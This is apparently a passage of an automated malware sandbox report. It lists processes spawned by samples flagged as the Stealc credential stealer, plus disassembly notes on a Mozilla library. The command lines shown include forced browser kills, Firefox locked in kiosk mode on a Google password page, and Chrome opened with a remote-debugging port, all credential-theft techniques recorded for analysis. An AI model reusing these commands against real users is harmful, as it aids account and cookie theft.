0000001A.00000003.2885578673.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:10:22
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe"
Imagebase:	0x620000
File size:	1'800'704 bytes
MD5 hash:	FBCBFC1412235CA533582801D3BF384A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000003.2902525546.0000000005110000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2942770263.0000000000621000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:10:24
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:10:27
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe"
Imagebase:	0x8b0000
File size:	922'112 bytes
MD5 hash:	C9B3622D82BED3CEAE938F36E2E8422F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000001D.00000003.3005367045.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:10:27
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x230000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:10:27
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:10:29
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x230000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:10:29
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	02:10:29
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x230000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	02:10:30
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	02:10:30
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x230000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:10:30
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:10:30
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x230000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	02:10:30
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	02:10:30
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	02:10:31
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	02:10:31
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	02:10:31
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe"
Imagebase:	0x20000
File size:	1'855'488 bytes
MD5 hash:	828B27824DCB03A47D868B1193B68944
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	02:10:32
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2204 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {587bd004-f34e-492e-9aa6-57c91a79be03} 8736 "\\.\pipe\gecko-crash-server-pipe.8736" 204fa36d710 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	02:10:33
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe"
Imagebase:	0x1c0000
File size:	2'770'944 bytes
MD5 hash:	F9E6D98FBA140FE4E753DA895E7E900A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	02:10:36
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	02:10:36
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4104 -parentBuildID 20230927232528 -prefsHandle 4156 -prefMapHandle 4136 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {434de7d9-ddfc-471b-8110-12ba07c112d8} 8736 "\\.\pipe\gecko-crash-server-pipe.8736" 2048cd1a510 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	02:10:38
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2560,i,1744162465723781976,2050082240511730868,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	02:10:39
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe"
Imagebase:	0x620000
File size:	1'800'704 bytes
MD5 hash:	FBCBFC1412235CA533582801D3BF384A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000031.00000002.3162156338.000000000140B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000031.00000002.3136078314.0000000000621000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000031.00000003.3080110945.0000000005020000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	02:10:48
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe"
Imagebase:	0x8b0000
File size:	922'112 bytes
MD5 hash:	C9B3622D82BED3CEAE938F36E2E8422F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
__aulldiv.LIBCMT ref: 6C4D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D3773
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D377E
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D37C4
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D37CB
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D3801
__aulldiv.LIBCMT ref: 6C4D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4D394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C4D35DB
GTC, xrefs: 6C4D3912
AuthcAMDenti, xrefs: 6C4D3946
GenuntelineI, xrefs: 6C4D3639
QPC, xrefs: 6C4D38FC

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction ID: d69a3b7f6e575d2c01b89d5b92c17a87622fa83b3f866037841364b4a7d22862
Opcode Fuzzy Hash: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction Fuzzy Hash: 11B1C671B053109FDB08EF28CC54B1A7BF5BB89704F468A2EE899D7790D774A804CB95

Function 6C4EC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4EC969
GetSystemInfo.KERNEL32(?), ref: 6C4EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4EC9E2

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction ID: 3486bdc2898a9c3590216026ac65d98bfd3b8615ef31126aa4673aadb22cde49
Opcode Fuzzy Hash: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction Fuzzy Hash: 01210A31741204ABDB04EB64DC88FAE77B9AF8A345F920119F903A7740EB606C0087A4

Function 6C4D3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4D3095

Part of subcall function 6C4D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
Part of subcall function 6C4D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
Part of subcall function 6C4D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
Part of subcall function 6C4D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
Part of subcall function 6C4D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
Part of subcall function 6C4D35A0: __aulldiv.LIBCMT ref: 6C4D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D309F

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4D30BE

Part of subcall function 6C4D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4D3127
Part of subcall function 6C4D30F0: __aulldiv.LIBCMT ref: 6C4D3140

Part of subcall function 6C50AB2A: __onexit.LIBCMT ref: 6C50AB30

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction ID: 66097be16bfdabe81cced5cd634c997d94d1efe024e7a8a03a8a637d5ed1624c
Opcode Fuzzy Hash: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction Fuzzy Hash: 6CF02D32E2074897CB10EF348C916E77770AFAB114F92531DE845535A1FB2071D883C9

Non-executed Functions

Function 6C4E5440 Relevance: 142.3, APIs: 54, Strings: 27, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E54BE
__Init_thread_footer.LIBCMT ref: 6C4E54DB

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C4E5516
GetCurrentThreadId.KERNEL32 ref: 6C4E556A
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C4E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C4E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4E55E6
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E5616

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetCurrentThreadId.KERNEL32 ref: 6C4E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C4E567C
free.MOZGLUE(?), ref: 6C4E56AE

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4E56E8
GetCurrentThreadId.KERNEL32 ref: 6C4E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C4E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C4E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C4E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C4E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C4E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4E57CA

Strings

exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGz, xrefs: 6C4E5732
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C4E5C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C4E5B38
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4E56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C4E5AC9
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E54B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4E57C5
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4E5724
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C4E5BBE
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C4E5D01
GeckoMain, xrefs: 6C4E5554, 6C4E55D5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C4E5D24
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C4E5CF9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4E5791
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E54A3
fJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC., xrefs: 6C4E57BC
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4E5766
MOZ_PROFILER_STARTUP, xrefs: 6C4E55E1
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4E57AE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4E5749
MOZ_BASE_PROFILER_HELP, xrefs: 6C4E5511
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C4E5D2B
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C4E5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C4E584E
[I %d/%d] profiler_init, xrefs: 6C4E564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E548D
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4E5717

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
